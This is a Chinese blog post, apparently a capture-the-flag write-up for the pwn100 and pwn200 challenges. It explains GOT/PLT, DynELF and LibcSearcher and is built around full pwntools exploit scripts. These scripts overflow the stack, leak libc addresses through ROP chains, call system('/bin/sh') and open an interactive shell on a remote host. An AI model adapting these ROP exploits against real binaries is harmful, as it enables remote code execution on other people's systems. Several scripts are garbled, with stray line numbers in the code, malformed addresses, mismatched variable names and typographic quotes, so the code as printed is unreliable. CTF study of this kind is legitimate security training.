您的位置:首页 > 编程语言 > Go语言

3.pwn入门新手做无system泄露libc.so版本攻防世界pwn100 pwn200(dynelf 、libsearcher与got表plt表解)

2020-03-09 23:39 2963 查看

上来先贴一个got表与plt表大佬写的got表与plt表详解
查找函数地址的典型方法是从泄漏的同一个库中的另一个函数的地址计算到所需函数的偏移量,然而,要使这种方法有效地工作,gLibc的远程服务器版本需要与我们的相同。我们还可以通过泄漏一些函数并在libcdb.com中搜索找到gLibc的远程版本,但有时这种方法会失败

dynelf 其基本代码模板如下:

p = process('./xxx')
def leak(address):
#各种预处理
payload = "xxxxxxxx" + address + "xxxxxxxx"
p.send(payload)
#各种处理
data = p.recv(4) )#接受的字节要看程序是32位还是64位来决定 ,32位接受4个字节的数据 而64位接受8个字节的数据
log.debug("%#x => %s" % (address, (data or '').encode('hex')))#这里是测试 可省略
return data
d = DynELF(leak, elf=ELF("./xxx"))      #初始化DynELF模块
systemAddress = d.lookup('system', 'libc')  #在libc文件中搜索system函数的地址

需要使用者进行的工作主要集中在leak函数的具体实现上,上面的代码只是个模板。其中,address就是leak函数要泄漏信息的所在地址,而payload就是触发目标程序泄漏address处信息的攻击代码。

使用条件

不管有没有libc文件,要想获得目标系统的system函数地址,首先都要求目标二进制程序中存在一个能够泄漏目标系统内存中libc空间内信息的漏洞。同时,由于我们是在对方内存中不断搜索地址信息,故我们需要这样的信息泄露漏洞能够被反复调用。以下是大致归纳的主要使用条件:

1)目标程序存在可以泄露libc空间信息的漏洞,如read@got就指向libc地址空间内;

2)目标程序中存在的信息泄露漏洞能够反复触发,从而可以不断泄露libc地址空间内的信息。

当然,以上仅仅是实现利用的基本条件,不同的目标程序和运行环境都会有一些坑需要绕过
。接下来,我们主要针对write和puts这两个普遍用来泄漏信息的函数在实际配合DynELF工作时可能遇到的问题,给出相应的解决方法。

write()

write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘\0’, ‘\n’之类的字符影响;而puts, printf函数会受到诸如‘\0’, ‘\n’之类的字符影响,在对数据的读取和处理有一定的难度
缺点是需要传递3个参数,特别是在x64环境下,可能会带来一些困扰。
在x64环境下,函数的参数是通过寄存器传递的,rdi对应第一个参数,rsi对应第二个参数,rdx对应第三个参数,往往凑不出类似“pop rdi; ret”、“pop rsi; ret”、“pop rdx; ret”等3个传参的gadget。此时,可以考虑使用__libc_csu_init函数的通用gadget,就是通过__libc_csu_init函数的两段代码来实现3个参数的传递,这两段代码普遍存在于x64二进制程序中,只不过是间接地传递参数,而不像原来,是通过pop指令直接传递参数。
第一段代码如下:

.text:000000000040075A pop rbx #需置为0,为配合第二段代码的call指令寻址
.text:000000000040075B pop rbp #需置为1
.text:000000000040075C pop r12 #需置为要调用的函数地址,注意是got地址而不是plt地址,因为第二段代码中是call指令
.text:000000000040075E pop r13 #write函数的第三个参数
.text:0000000000400760 pop r14 #write函数的第二个参数
.text:0000000000400762 pop r15 #write函数的第一个参数
.text:0000000000400764 retn

第二段代码如下:

.text:0000000000400740 mov rdx, r13
.text:0000000000400743 mov rsi, r14
.text:0000000000400746 mov edi, r15d
.text:0000000000400749 call qword ptr [r12+rbx*8]

这两段代码运行后,会将栈顶指针移动56字节,我们在栈中布置56个字节即可。

这样,我们便解决了write函数在leak信息中存在的问题

puts()

puts函数

puts的原型是puts(addr),即将addr作为起始地址输出字符串,直到遇到“x00”字符为止。也就是说,puts函数输出的数据长度是不受控的,只要我们输出的信息中包含x00截断符,输出就会终止,且会自动将“n”追加到输出字符串的末尾,这是puts函数的缺点,而优点就是需要的参数少,只有1个,无论在x32还是x64环境下,都容易调用。

为了克服输入不受控这一缺点,我们考虑利用puts函数输出的字符串最后一位为“n“这一特点,分两种情况来解决。

(1)puts输出完后就没有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):
count = 0
data = ‘’
payload = xxx
p.send(payload)
print p.recvuntil(‘xxxn’) #一定要在puts前释放完输出
up = “”
while True:
#由于接收完标志字符串结束的回车符后,就没有其他输出了,故先等待1秒钟,如果确实接收不到了,就说明输出结束了
#以便与不是标志字符串结束的回车符(0x0A)混淆,这也利用了recv函数的timeout参数,即当timeout结束后仍得不到输出,则直接返回空字符串””
c = p.recv(numb=1, timeout=1)
count += 1
if up == ‘n’ and c == “”: #接收到的上一个字符为回车符,而当前接收不到新字符,则
buf = buf[:-1] #删除puts函数输出的末尾回车符
buf += “x00”
break
else:
buf += c
up = c
data = buf[:4] #取指定字节数
log.info("%#x => %s" % (address, (data or ‘’).encode(‘hex’)))
return data

(2)puts输出完后还有其他输出,在这种情况下的leak函数可以这么写。

def leak(address):
count = 0
data = “”
payload = xxx
p.send(payload)
print p.recvuntil(“xxxn”)) #一定要在puts前释放完输出
up = “”
while True:
c = p.recv(1)
count += 1
if up == ‘n’ and c == “x”: #一定要找到泄漏信息的字符串特征
data = buf[:-1]
data += “x00”
break
else:
buf += c
up = c
data = buf[:4]
log.info("%#x => %s" % (address, (data or ‘’).encode(‘hex’)))
return data

pwn200 32位

本题是32位linux下的二进制程序,无cookie,存在很明显的栈溢出漏洞,且可以循环泄露,符合我们使用DynELF的条件。具体的栈溢出位置等调试过程就不细说了,只简要说一下借助DynELF实现利用的要点:

(1)调用write函数来泄露地址信息,比较方便;

(2)32位linux下可以通过布置栈空间来构造函数参数,不用找gadget,比较方便;

(3)在泄露完函数地址后,需要重新调用一下_start函数,用以恢复栈;

(4)在实际调用system前,需要通过三次pop操作来将栈指针指向systemAddress,可以使用ropper或ROPgadget来完成。

ok我们看到 溢出位置 非常的简单

由于文件中无system和”/bin/sh”,所以都需要我们自己构造,由于前面使用了setbuf函数,会有参数保存在bss段

用dynelf做

from pwn import *
io = remote('111.198.29.45',43466)
#io = process('./pwn200')
#context.log_level= 'debug'

elf = ELF('./pwn200')
ppp_r = 0x80485cd
read_got = elf.got['read']
read_plt = elf.plt['read']
main_addr = 0x80484be
start_addr = 0x80483d0
write_plt = elf.plt['write']
write_got = elf.got['write']

def leak(address):
payload1 = 'A'*112+p32(write_plt)+p32(main_addr)+p32(1)+p32(address)+p32(4)
io.send(payload1)
data = io.recv(4)
print data
return data
print io.recv()
dyn = DynELF(leak,elf=ELF('./pwn200'))  #初始化DynELF模块

sys_addr = dyn.lookup('system','libc') #在libc文件中搜索system函数的地址
print 'system address: ',hex(sys_addr)
# 调用start函数 恢复栈
payload = 'a'*112+p32(start_addr)
io.send(payload)
io.recv()
bss_addr =elf.bss()
print 'bss addr: ',hex(bss_addr)
.payload = "A" * 112
payload += p32(read_plt)
payload += p32(pppr_addr)  #pppt是为了弹出read的三个参数,执行后面的system函数
payload += p32(0)
payload += p32(bss_addr)
payload += p32(8)
payload += p32(system_addr)
payload += p32(main_addr)
payload += p32(bss_addr)
io.send(payload)
io.send('/bin/sh\x00')
io.interactive()

pwn100 64位

这道题和pwn200的比较大的区别就是 x86都是靠栈来传递参数的而x64换了它顺序是rdi, rsi, rdx, rcx, r8, r9,如果多于6个参数才会用栈
我们直接贴出exp

用libsearcher做

#coding:utf8
from pwn import*
from LibcSearcher import*
elf=ELF('./pwnh5')
readgot=elf.got['read']
putaddr=elf.sym['puts']
mainaddr=0x4006B810
popedi=0x40076312
#sh=process('./pwnh5')
sh=remote('111.198.29.45',52630)
#这个payload用于泄露read位于libc的地址
#popedi将read的地址加载到edi中,用于传给put输出显示
#mainaddr为覆盖eip,这样我们又可以重新执行main函数了payload='a'*0x48+p64(popedi)+p64(readgot)+p64(putaddr)+p64(mainaddr)+'a'*(0xC8-0x48-32)
sh.send(payload)
sh.recvuntil('bye~\n')
#注意,这步重要,必须要去掉末尾的\n符号
s=sh.recv().split('\n')[0]
#凑足长度8
for i in range(len(s),8):30.s=s+'\x00'
#得到read的地址33.addr=u64(s)
printhex(addr)
#libc数据库查询
obj=LibcSearcher("read",addr)
得到libc加载地址
libc_base=addr-obj.dump('read')
#获得system地址
system_addr=obj.dump("system")+libc_base
#获得/bin/sh地址
binsh_addr=obj.dump("str_bin_sh")+libc_base
printhex(system_addr)
printhex(binsh_addr)
payload='a'*0x48+p64(popedi)+p64(binsh_addr)+p64(system_addr)+'a'*(0xC8-0x48-24)
sh.send(payload)
sh.interactive()
#当我们泄露了一个地址 来计算目的函数的地址的公式
#第一步:基地址 = 实际地址(泄露的got地址) – libc中对应函数的偏移
#第二步:目的函数地址 = 基地址 + libc中对应函数的偏移

用dynelf做

from pwn import *

p = process('./pwn-100')
elf = ELF('./pwn-100')

puts_addr = elf.plt['puts']
read_addr = elf.got['read']

start_addr = 0x400550
pop_rdi = 0x400763
gadget_1 = 0x40075a
gadget_2 = 0x400740

bin_sh_addr = 0x60107c  #存储/bin/sh的地址

def leak(addr):
up = ''
content = ''
payload = 'A'*0x48#padding
payload += p64(pop_rdi)    #给puts()赋值
payload += p64(addr)#leak函数的参数addr
payload += p64(puts_addr)  #调用puts()函数
payload += p64(start_addr) #跳转到start,恢复栈
payload = payload.ljust(200, 'B')
p.send(payload)
p.recvuntil("bye~\n")
# 最根本原因是读取数据错误。这是因为puts()的输出是不受控的,作为一个字符串输出函数,它默认把字符’\x00’作为字符串结尾,从而截断了输出。
while True: #防止未接受完整传回的数据
#无限循环读取,防止recv()读取输出不全
c = p.recv(numb=1, timeout=0.1)  #每次读取一个字节,设置超时时间确保没有遗漏
if up == '\n' and c == "":
#上一个字符是回车且读不到其他字符,说明读完
content = content[:-1]+'\x00' #最后一个字符置为\x00
break
else:
content += c#拼接输出
up = c#保存最后一个字符
content = content[:4]#截取输出的一段作为返回值,提供给DynELF处理
return content

d = DynELF(leak, elf=elf)
system_addr = d.lookup('system', 'libc')
#调用read函数
payload = "A"*0x48
payload += p64(gadget_1)
payload += p64(0)
payload += p64(1)
payload += p64(read_addr)
payload += p64(8)
payload += p64(bin_sh_addr)
payload += p64(0)
payload += p64(gadget_2)
payload += '\x00'*56
payload += p64(start_addr)
payload = payload.ljust(200, "B")
#补充到200个字符是因为 sub_0x40063D()函数里面有一个循环,要凑够200个字才能break。。

#输入/bin/sh
p.send(payload)
p.recvuntil('bye~\n')
p.send("/bin/sh\x00")

#调用system函数
payload = "A"*72
payload += p64(pop_rdi)
payload += p64(bin_sh_addr)
payload += p64(system_addr)
payload = payload.ljust(200, "B")	#通过ljust(),center(),rjust()函数实现输出的字符串左对齐、居中、右对齐
p.send(payload)
p.interactive()

用手找

#--coding:utf-8--
from pwn import *
context.log_level = ‘debug’
pwn_name = ‘pwn100’
#r = process(pwn_name)
r = remote(“111.198.29.45”,30392)
file = ELF(pwn_name)
#--------泄露函数的真实地址进而得知libc的版本,这一步在本地测试后需要先链接远程-------
puts_plt = file.plt[‘puts’]
puts_got = file.got[‘puts’]
rdi_addr = 0x400763
main = 0x4006b8
#gdb.attach(r,‘b *0x40068c’)
payload = ‘a’*0x40 + ‘b’*8
payload += p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(main)
n = 200 - len(payload)
payload += ‘c’*n
r.sendline(payload)
r.recvuntil(’\x0a’)
puts_addr = u64(r.recv(6)+’\x00\x00’)
print ‘-’*10 + hex(puts_addr) + ‘-’*10
#-------泄露libc,链接远程是因为我们要知道的是靶机上的libc而不是我们的libc--------
#-------得知libc后就开始调用system函数获取靶机权限---------
#libc = ELF(’./libc6_2.23-0ubuntu11_amd64.so’)
libc = ELF(’/lib/x86_64-linux-gnu/libc.so.6’)
libc_base = puts_addr - libc.symbols[‘puts’]
print ‘-’*10 + hex(libc_base) + ‘-’*10
sys_addr = libc_base + libc.symbols[‘system’]
binsh_addr = libc_base + libc.search(’/bin/sh’).next()
#gdb.attach(r,‘b *0x40068c’)
payload = ‘a’*0x40 + ‘\x00’*7
payload += p64(rdi_addr) + p64(binsh_addr) + p64(sys_addr) + p64(main)
n = 200 - len(payload)
payload += ‘c’*n
r.sendline(payload)
#-------得知libc后就开始调用system函数获取靶机权限---------
r.interactive()

栈溢出payload应该这样写

payload=填充字符和覆盖eip字符+调用函数地址
+返回函数地址+参数一固定参数+参数二要泄露内容的地址+参数三 输出内容的字节数

本文内含大量文章的复制粘贴 我仅仅是做了整理与简化方便大家理解,如果小弟做的不好,还请大佬指教

  • 点赞 3
  • 收藏
  • 分享
  • 文章举报
淇淇qiudalao 发布了10 篇原创文章 · 获赞 23 · 访问量 3120 私信 关注
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: